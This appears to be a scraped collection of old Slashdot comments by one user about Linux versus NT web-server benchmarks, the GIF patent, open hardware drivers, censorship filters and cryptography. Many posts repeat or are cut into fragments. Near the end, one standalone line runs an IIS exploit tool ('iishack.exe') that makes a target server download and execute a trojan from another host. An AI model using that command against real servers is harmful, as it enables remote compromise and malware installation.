being able to replace the crypto api could be a part. a person who is able to install a module in the crypto api has a full power over the computer anyway.. most important and interesting information one would want to intercept would be passed through the crypto api and if one has a convenient way to repace that modules. this could be part of a backdoor....
you are wrong. censorship is a typical phenomenon of right wing ideology and not one of the left. (even thought there exist some governments who call themself "communist" where they are more like "fascist"..). to some extent totalitarian ideologies on both ends of the political spectrum are rather similar.
beeing anti-liberal/anti-freedom is one of the defining elements of fascism where on the other side the political left has intelectual openmindedness at the core.
why doesn't this cheryl person forward the email she got to her boss and the suits there?
i have not sent them a nasty email but to be honest, there is much need to apologize.. if someone works for an supid and evil company then tone should expelct to receive email from angry people...
the way that starr perrson spoke about open source it proves that these company are a bunch of ignorant idiots..
hmm.. if unisys only wants money from people who have created it with programs that are not licensed... then someone should write a gif2gif program and pay the $50000.-- licence for that and then give away the gif2gif programm for free on the web.. the program would convert gif with or without lzw into gif with lzw. if we collect the $50k that should be easy and we would not have to worry about gif anymore.. or maybe someone with money would want to sponsor this.. (redhat? ibm?..) one would not even need to have downloaded the gif2gif as one could always claim that it was mad with that..(thus the gif2gif should leave the "createy by" string of the original program..)
Will my intranet application still be able to integrate with the spreadsheet?
after a number of inevitable large scale crackes on companys because of the word/excel/vb security problems people will look differently at all this stuff...
The OSS applications are still stuck in the 1990 timeframe in terms of functionality.:(
having the source to the applications (and of course some scripting capabilites as well) will ultimatly give companys more power for their office automation then anything from m$..
believe me 2001 is the year where linux invades the corporate desktops..
But by 2001 a good chunk of the market will be Win2K with everybody else making plans.
by 2001 i expect that koffice, gnumeric, abiword etc.. are mature enought that most companys will seriously consider to switch typical desktops.. with the knowledge that the switch might be a little bit painful first but afterwards they will never have to pay the m$ tax again..
when planed right, the transition on the desktop could be rather smooth.. those people who still need legacy m$ apps would run X on windoze (e.g. exceed) slowly more and more dektops will be pure linux..
Yes, if someone finds a fast way to factor huge products of two primes, public key systems fall apart. Since the best minds in the world have been working on this problem for centuries without finding much, the chance of anyone finding a good solution right away is slim.
just think for a second: what would you do if you where one of those bright minds of number theory and you would find a solution to the factoring problem? would you:
publish your results and hope you will be rewarded with lots of publicity?
sell your work to the CIA or the NSA or the KGB for a huge ammount of money and buy your own yacht and sail in the south pacific.. (of course you would give a copy of the work to a few people in a seald envelop with the request that they should publish it when you are dead or missing..)?
i guess if one would find a solution to the factoring problem then he would maybe choose the second way... and how do we know how many people already sailing in the south pacific?
and not let us assume you are the e.g. NSA who bought that algorithm.. you would plea for regulations on "strong" encryption..in the hope that people who really have to hide things think it is still secure..while they already know the key...
the onyl real question is if the linmodem drivers will be open source and there will be documentation for the hardware. if yes then this is an extremly good thing.. e.g. these lin modems could be used for telephony application then as well.. if the driver is binary only then i hope no one will buy that crap..
dang..that is a problem i have not thought of. but i think it is not that much of a problem:
once someone claims a price for finding RC5 key or next prime or so. one would look in the logfiles and see who has processed that part of the keyspace..and that person would be in trouble then.. especially when releated someohow to the person claiming the prize..
but of course in the seti case that guy could already be hitchhiking through the galaxy and we would not know about it;-)
solving the "hacked client" problem when giving away client source would be easy: the server would need to keep track on who processed what data and send out some packets (maybe 5% or 2%) to different people and compare the results. i am sure the extra performance of tuned clients will outwight the checking overhead. once someone is found cheatings they are out.. comparing would work for the seti test. with the RC5 contest or finding primes it would not be that easy: the result of the 2% double packets would be in most cases "not a hit" and it would be unlikely to find someone who cheats that way. one way to solve that problem would be to demand that clients send a hash value of some intermediate results back that make shure the client has completed most of the processing steps.. and that values can be double checked..
according to this article: microsofts number 3 "paul maritz" is leaving the company and sold micro$oft stocks with a value of about 78,1 million dollar... he was one of the chief developers. i guess he is a smart guy and knows when to sell.. in 1 or 2 years koffice, gnumeric, abiword etc. will have reached a level where linux is a good and cheep alternative even for the most dumb users.. and they will get it preinstalled..
first i have to say that i oppose censorship as much as all people here and i really do not want to play the devils advocate but there are some things to consider.
but first let me tell you my experience with that n2h2 people: i have a site on the net that is critical towards a right wing fundamentalist sect. (http://www.mond.at/opus.dei but please do not slashdot my old 486..:-) ) one day when i read the refer-logs i noticed that someone from n2h2 has visited my site. i was curious to find out if my site would be blocked by them.. (one page contains the words: "Draw up her skirts, tear down her panties and give it to her in the ass!! In the Ass!" which is a quote from the founder of the sect (who has been beatified by the pope!!). i did not find a way to check if my site would be blocked but i would not have been surprised, since i suspect that people who run censorship sits are a bit right wing as well.. anyway: i wrote to the n2h2 people and they assured me that my site would not be blocked.. then i read a bit in their rules and this decision was consistent with their policy. political text, medical and scientific works, historical quotes etc.. will not be blocked even if they contains some "dirty" words..
now i do not want to advocate their censorship but i think it is the legitim right of this people to rate and classify web pages according to what ever criterion they may have. in the end: how is that different from what the slashdot moderation does? (BTW: i have my treshhold on -1 for that reason.. i want to decide for myself what i want to read and and what not.. one post i did a while ago as AC was moderated to -1 because obviously the moderator did not understand the humor/sarcasm there..). as for the people who set up n2h2 based filters they are able to decided if they only allow sites that have been reviewed by the n2h2 people and there they can select from different categories or if they allow everything except things that have been rated bad by the n2h2 censors..
so while i do not want to advocate censorship i would say that people should not blame it on the n2h2 company but on administrators who set up the filtering policy. filtering hard core porn for children below a certain age might make some sense.. thought i think the potential dangers of censorship still outweighs the benefits.. children who have experienced censorship in their youth might advocate that when they are grown up...and then maybe not just for porn but for political context as well..and we know where that could leed too.. then on the other hand: where do we draw the line between moderation and censorship?
greetings
mond.
the next mindcrap reports...
on
On Perl 5.6
·
· Score: 1
... will probably show how much faster perl ist on NT... using that threading stuff that is optimized for NT only, but no other person would have very much use for..
i think what we see here is the beginning of "embrace & extend".
now, that explains why SETI is not more successful: just a few years after that aliens learnd how to send out radio waves, their curious scientists turned their plantes into black holes..;-)))
exactly. i do not want to give my money to a company that does not open their hardware specs and i would rather give it to a company that has open source drivers. what would be useful in this context would be a web based hardware database, where find quick info about how open a specific piece of hardware is before buying one.
like there could be 5 categories:
1 proprietary hardware, company does not give out spec. 2 company allowed people to write binary only drivers under NDA but for free. 3 company releases binary only drivers 4 company published detailed documentation 5 company wrote open source driver or funded/helped in the development
i would only buy hardware in category 4 or 5 but often it is not easy to find out if the person who wrote drivers got support from the company.. sure, a grep through the linux kernel helps sometimes but that is not something the marketing departments will consider a threat to the image of their product.
having such a database where one could directly compare the openness of various vendors would put some market pressure on those companies..
yes, you are right. but then the difference in response time would not matter much: if the difference between 1000req/s and 2000req/s was caused by a longer response latency then that would make a difference of 0.0005sec (0.5ms). most users will not notice:-) most browsers will take longer to render the page.. as soon as bandwith becomes a limiting factor the time to transfer the page will be most of the response time the users sees...
in the last issue of CT magazine, they also had a linux vs. NT web-server shootout. they used a siemens primergy 870 maschine (4 xeon 450 cpu's, 2GB ram, intel etherpro 100 nic, mylex dac 960 raid controler, price of the maschine: about 100 000 DEM ) here the some of the results:
serving one static html page 4k size: NT and linux almost on par (linux ahead a few %) both systems answer 900 requests/s when hit with 512 concurent client process.
with 8k size static page: linux is between about 5 and 10% ahead of NT.. at 512 client processes the linux maschine serves about 600 requests/s the NT maschine about 550.
using a 4K page but selecting one random page out of 10E4 pages linux has about 830 req/sec and NT about 720. the linux line seems saturated where the NT line is bended down already: linux 15% ahead of NT
random 4K static page out of 10E6 different pages: linux about 270 req/s while NT has never more then about 30 req/s. that means linux is some 800% ahead..
now some dynamic pages. they used plain old CGI scripts with perl. no PHP or ASP. using all 4 CPUs linux answers 210 till 250 request/s while NT is around 60! that means linux is 316% faster
same as above but using only 1 of the CPUs of the maschine: linux around 100 req/sec, NT around 25 req/sec. linux ahead by 300%
if the script contains a sleep(3) at the beginning (to simulate slow database connection or slow client connections) the results are: linux increases the number of requests linear with the number of requesting processes and reaches about 80 req/s for 250 simulated clients. NT is saturated at around 7 req/sec. (in words: seven). linux wins with over 1000%
the only time that NT is ahead of linux (about a factor of 2) is when using 2 NIC cards instead of 1.
my interpretation of all this: i guess there are very few webservers where one would needs more then 100Mbit/s.. and then one would be propably better of with 2 cheaper systems doing load balancing.. given the extra reliabilty, remote managemnt, etc of linux and the better extraordinary better performance in most tests linux is the clear winner. doing fast CGI scripts is by far more importnat then to efficiently support 2 or more 100Mbit cards.. at least for 99.9% of all webservers or more..
CT magazine is biased like hell against Microsoft. I wouldn't trust them either.
i read CT magazine regulary and i think CT is a magazine with lots of technical competence, and not a marketing magazine.. those guys usualy know what they are talking about. besides technical competence the sociological impacts of computers are also often covered very good. given this it is a surprise that they are not more against microsoft. i would say that they treat microsoft more then fair.
in the last issue they also had a linux vs. NT web-server shootout. they used a siemens primergy 870 maschine (4 xeon 450 cpu's, 2GB ram, intel etherpro 100 nic, mylex dac 960 raid controler, price of the maschine: about 100 000 DEM ) here the some of the results:
serving one static html page 4k size: NT and linux almost on par (linux ahead a few %) both systems answer 900 requests/s when hit with 512 concurent client process.
with 8k size static page: linux is between about 5 and 10% ahead of NT.. at 512 client processes the linux maschine serves about 600 requests/s the NT maschine about 550.
using a 4K page but selecting one random page out of 10E4 pages linux has about 830 req/sec and NT about 720. the linux line seems saturated where the NT line is bended down already..
random 4K static page out of 10E6 different pages: linux about 270 req/s while NT has never more then about 30 req/s. that means linux is some 900% ahead..
now some dynamic pages. they used plain old CGI scripts with perl. no PHP or ASP. using all 4 CPUs linux answers 210 till 250 request/s while NT is around 60!
same as above but using only 1 of the CPUs of the maschine: linux around 100 req/sec, NT around 25 req/sec.
if the script contains a sleep(3) at the beginning (to simulate slow database connection or slow client connections) the results are: linux increases the number of requests linear with the number of requesting processes and reaches about 80 req/s for 250 simulated clients. NT is saturated at around 7 req/sec. (in words: seven).
the only time that NT is ahead of linux (about a factor of 2) is when using 2 NIC cards instead of 1.
my interpretation of all this: i guess there are very few webservers where one would needs more then 100Mbit/s.. and then one would be propably better of with 2 cheaper systems doing load balancing.. given the extra reliabilty, remote managemnt, etc of linux and the better extraordinary better performance in most tests linux is the clear winner.
no bugging them does not seem to help. so the only language their marketing department will understand is if we all boycot their products. all protducts for that matter.
i think logitech sucks. they do not release documentation for their quickcam VC. they have someone write a binary only kernel module uder NDA, but binary only drivers suck. recomendation: do not buy anything from logitech until they make a REAL commitment to open source.
Slashdot Mirror
the distance in the other direction now is only 2 clicks: from slashdot open this article. then click here:
www.microsoft.org
:)
being able to replace the crypto api could be a part. a person who is able to install a module in the crypto api has a full power over the computer anyway.. most important and interesting information one would want to intercept would be passed through the crypto api and if one has a convenient way to repace that modules. this could be part of a backdoor....
dermond.
you are wrong. censorship is a typical phenomenon of right wing ideology and not one of the left. (even thought there exist some governments who call themself "communist" where they are more like "fascist"..). to some extent totalitarian ideologies on both ends of the political spectrum are rather similar.
beeing anti-liberal/anti-freedom is one of the defining elements of fascism where on the other side the political left has intelectual openmindedness at the core.
greetings from vienna,
dermond.
good idea... but:
why doesn't this cheryl person forward the email she got to her boss and the suits there?
i have not sent them a nasty email but to be honest, there is much need to apologize.. if someone works for an supid and evil company then tone should expelct to receive email from angry people...
the way that starr perrson spoke about open source it proves that these company are a bunch of ignorant idiots..
greetings from vienna,
mond.
hmm.. if unisys only wants money from people who have created it with programs that are not licensed... then someone should write a gif2gif program and pay the $50000.-- licence for that and then give away the gif2gif programm for free on the web.. the program would convert gif with or without lzw into gif with lzw. if we collect the $50k that should be easy and we would not have to worry about gif anymore.. or maybe someone with money would want to sponsor this.. (redhat? ibm? ..) one would not even need to have downloaded the gif2gif as one could always claim that it was mad with that..(thus the gif2gif should leave the "createy by" string of the original program..)
just an idea..
greetings from vienna, austria.
mond.
Is koffice and such ready to run VBA?
:(
VBA is dead. even m$ is jumping over to perl..
Will my intranet application still be able to integrate with the spreadsheet?
after a number of inevitable large scale crackes on companys because of the word/excel/vb security problems people will look differently at all this stuff...
The OSS applications are still stuck in the 1990 timeframe in terms of functionality.
having the source to the applications (and of course some scripting capabilites as well) will ultimatly give companys more power for their office automation then anything from m$..
believe me 2001 is the year where linux invades the corporate desktops..
greetings from vienna, austria.
mond.
But by 2001 a good chunk of the market will be Win2K with everybody else making plans.
by 2001 i expect that koffice, gnumeric, abiword
etc.. are mature enought that most companys will seriously consider to switch typical desktops.. with the knowledge that the switch might be a little bit painful first but afterwards they will never have to pay the m$ tax again..
when planed right, the transition on the desktop could be rather smooth.. those people who still need legacy m$ apps would run X on windoze (e.g. exceed) slowly more and more dektops will be pure linux..
greetings from vienna, austria
mond.
systems fall apart. Since the best minds in the world have been working on this problem for centuries without finding much, the chance of anyone finding a good solution right away is slim.
just think for a second: what would you do if you where one of those bright minds of number theory and you would find a solution to the factoring problem? would you:
i guess if one would find a solution to the factoring problem then he would maybe choose the second way... and how do we know how many people already sailing in the south pacific?
and not let us assume you are the e.g. NSA who bought that algorithm.. you would plea for regulations on "strong" encryption..in the hope that people who really have to hide things think it is still secure..while they already know the key...
mond.
the onyl real question is if the linmodem drivers will be open source and there will be documentation for the hardware. if yes then this is an extremly good thing.. e.g.
these lin modems could be used for telephony application then as well.. if the driver is binary only then i hope no one will buy that crap..
greetings mond.
dang..that is a problem i have not thought of. but i think it is not that much of a problem:
;-)
once someone claims a price for finding RC5 key or next prime or so. one would look in the logfiles and see who has processed that part of the keyspace..and that person would be in trouble then.. especially when releated someohow to the person claiming the prize..
but of course in the seti case that guy could already be hitchhiking through the galaxy and we would not know about it
solving the "hacked client" problem when giving away client source would be easy: the server would need to keep track on who processed what data and send out some packets (maybe 5% or 2%) to different people and compare the results. i am sure the extra performance of tuned clients will outwight the checking overhead. once someone is found cheatings they are out.. comparing would work for the seti test. with the RC5 contest or finding primes it would not be that easy: the result of the 2% double packets would be in most cases "not a hit" and it would be unlikely to find someone who cheats that way. one way to solve that problem would be to demand that clients send a hash value of some intermediate results back that make shure the client has completed most of the processing steps.. and that values can be double checked..
mond.
greetings mond.
but first let me tell you my experience with that n2h2 people: i have a site on the net that is critical towards a right wing fundamentalist sect. (http://www.mond.at/opus.dei but please do not slashdot my old 486.. :-) ) one day when i read the refer-logs i noticed that someone from n2h2 has visited my site. i was curious to find out if my site would be blocked by them.. (one page contains the words: "Draw up her skirts, tear down her panties and give it to her in the ass!! In the Ass!" which is a quote from the founder of the sect (who has been beatified by the pope!!). i did not find a way to check if my site would be blocked but i would not have been surprised, since i suspect that people who run censorship sits are a bit right wing as well.. anyway: i wrote to the n2h2 people and they assured me that my site would not be blocked.. then i read a bit in their rules and this decision was consistent with their policy. political text, medical and scientific works, historical quotes etc.. will not be blocked even if they contains some "dirty" words..
now i do not want to advocate their censorship but i think it is the legitim right of this people to rate and classify web pages according to what ever criterion they may have. in the end: how is that different from what the slashdot moderation does? (BTW: i have my treshhold on -1 for that reason.. i want to decide for myself what i want to read and and what not.. one post i did a while ago as AC was moderated to -1 because obviously the moderator did not understand the humor/sarcasm there..). as for the people who set up n2h2 based filters they are able to decided if they only allow sites that have been reviewed by the n2h2 people and there they can select from different categories or if they allow everything except things that have been rated bad by the n2h2 censors..
see: http://www.n2h2.com/categories/
so while i do not want to advocate censorship i would say that people should not blame it on the n2h2 company but on administrators who set up the filtering policy. filtering hard core porn for children below a certain age might make some sense.. thought i think the potential dangers of censorship still outweighs the benefits.. children who have experienced censorship in their youth might advocate that when they are grown up...and then maybe not just for porn but for political context as well..and we know where that could leed too.. then on the other hand: where do we draw the line between moderation and censorship?
greetings
mond.
... will probably show how much faster perl ist on NT... using that threading stuff that is optimized for NT only, but no other person would have very much use for..
i think what we see here is the beginning of "embrace & extend".
greetings from vienna.
mond.
now, that explains why SETI is not more successful: just a few years after that aliens learnd how to send out radio waves, their curious scientists turned their plantes into black holes.. ;-)))
exactly. i do not want to give my money to a company that does not open
their hardware specs and i would rather give it to a company that has open
source drivers. what would be useful in this context would be a web based
hardware database, where find quick info about how open a specific piece of
hardware is before buying one.
like there could be 5 categories:
1 proprietary hardware, company does not give out spec.
2 company allowed people to write binary only drivers under NDA but for free.
3 company releases binary only drivers
4 company published detailed documentation
5 company wrote open source driver or funded/helped in the development
i would only buy hardware in category 4 or 5 but often it is not easy to
find out if the person who wrote drivers got support from the company..
sure, a grep through the linux kernel helps sometimes but that is not
something the marketing departments will consider a threat to the image of
their product.
having such a database where one could directly compare the openness of
various vendors would put some market pressure on those companies..
mond.
yes, you are right. but then the difference in response time would not matter much: if the difference between 1000req/s and 2000req/s was caused by a longer response latency then that would make a difference of 0.0005sec (0.5ms). most users will not notice :-) most browsers will take longer to render the page.. as soon as bandwith becomes a limiting factor the time to transfer the page will be most of the response time the users sees...
mond.
it is only available in the paper version of the magazine.. with detailed charts there..
dermond
p.s.: it should have been 10^4 and 10^6 or 1.0E4 and 1.0E6..
serving one static html page 4k size: NT and linux almost on par (linux ahead a few %) both systems answer 900 requests/s when hit with 512 concurent client process.
with 8k size static page: linux is between about 5 and 10% ahead of NT.. at 512 client processes the linux maschine serves about 600 requests/s the NT maschine about 550.
using a 4K page but selecting one random page out of 10E4 pages linux has about 830 req/sec and NT about 720. the linux line seems saturated where the NT line is bended down already: linux 15% ahead of NT
random 4K static page out of 10E6 different pages: linux about 270 req/s while NT has never more then about 30 req/s. that means linux is some 800% ahead..
now some dynamic pages. they used plain old CGI scripts with perl. no PHP or ASP. using all 4 CPUs linux answers 210 till 250 request/s while NT is around 60! that means linux is 316% faster
same as above but using only 1 of the CPUs of the maschine: linux around 100 req/sec, NT around 25 req/sec. linux ahead by 300%
if the script contains a sleep(3) at the beginning (to simulate slow database connection or slow client connections) the results are: linux increases the number of requests linear with the number of requesting processes and reaches about 80 req/s for 250 simulated clients. NT is saturated at around 7 req/sec. (in words: seven). linux wins with over 1000%
the only time that NT is ahead of linux (about a factor of 2) is when using 2 NIC cards instead of 1.
my interpretation of all this: i guess there are very few webservers where one would needs more then 100Mbit/s.. and then one would be propably better of with 2 cheaper systems doing load balancing.. given the extra reliabilty, remote managemnt, etc of linux and the better extraordinary better performance in most tests linux is the clear winner. doing fast CGI scripts is by far more importnat then to efficiently support 2 or more 100Mbit cards.. at least for 99.9% of all webservers or more..
greetings from vienna, austria.
der mond.
i read CT magazine regulary and i think CT is a magazine with lots of technical competence, and not a marketing magazine.. those guys usualy know what they are talking about. besides technical competence the sociological impacts of computers are also often covered very good. given this it is a surprise that they are not more against microsoft. i would say that they treat microsoft more then fair.
in the last issue they also had a linux vs. NT web-server shootout. they used a siemens primergy 870 maschine (4 xeon 450 cpu's, 2GB ram, intel etherpro 100 nic, mylex dac 960 raid controler, price of the maschine: about 100 000 DEM ) here the some of the results:
serving one static html page 4k size: NT and linux almost on par (linux ahead a few %) both systems answer 900 requests/s when hit with 512 concurent client process.
with 8k size static page: linux is between about 5 and 10% ahead of NT.. at 512 client processes the linux maschine serves about 600 requests/s the NT maschine about 550.
using a 4K page but selecting one random page out of 10E4 pages linux has about 830 req/sec and NT about 720. the linux line seems saturated where the NT line is bended down already..
random 4K static page out of 10E6 different pages: linux about 270 req/s while NT has never more then about 30 req/s. that means linux is some 900% ahead..
now some dynamic pages. they used plain old CGI scripts with perl. no PHP or ASP. using all 4 CPUs linux answers 210 till 250 request/s while NT is around 60!
same as above but using only 1 of the CPUs of the maschine: linux around 100 req/sec, NT around 25 req/sec.
if the script contains a sleep(3) at the beginning (to simulate slow database connection or slow client connections) the results are: linux increases the number of requests linear with the number of requesting processes and reaches about 80 req/s for 250 simulated clients. NT is saturated at around 7 req/sec. (in words: seven).
the only time that NT is ahead of linux (about a factor of 2) is when using 2 NIC cards instead of 1.
my interpretation of all this: i guess there are very few webservers where one would needs more then 100Mbit/s.. and then one would be propably better of with 2 cheaper systems doing load balancing.. given the extra reliabilty, remote managemnt, etc of linux and the better extraordinary better performance in most tests linux is the clear winner.
greetings from vienna, austria.
der mond.
wine "iishack.exe somewhere.com 80 myhost.com/trojan.exe"
no bugging them does not seem to help. so the only language their marketing department will understand is if we all boycot their products. all protducts for that matter.
i think logitech sucks. they do not release
documentation for their quickcam VC. they have
someone write a binary only kernel module uder NDA, but binary only drivers suck. recomendation:
do not buy anything from logitech until they make a REAL commitment to open source.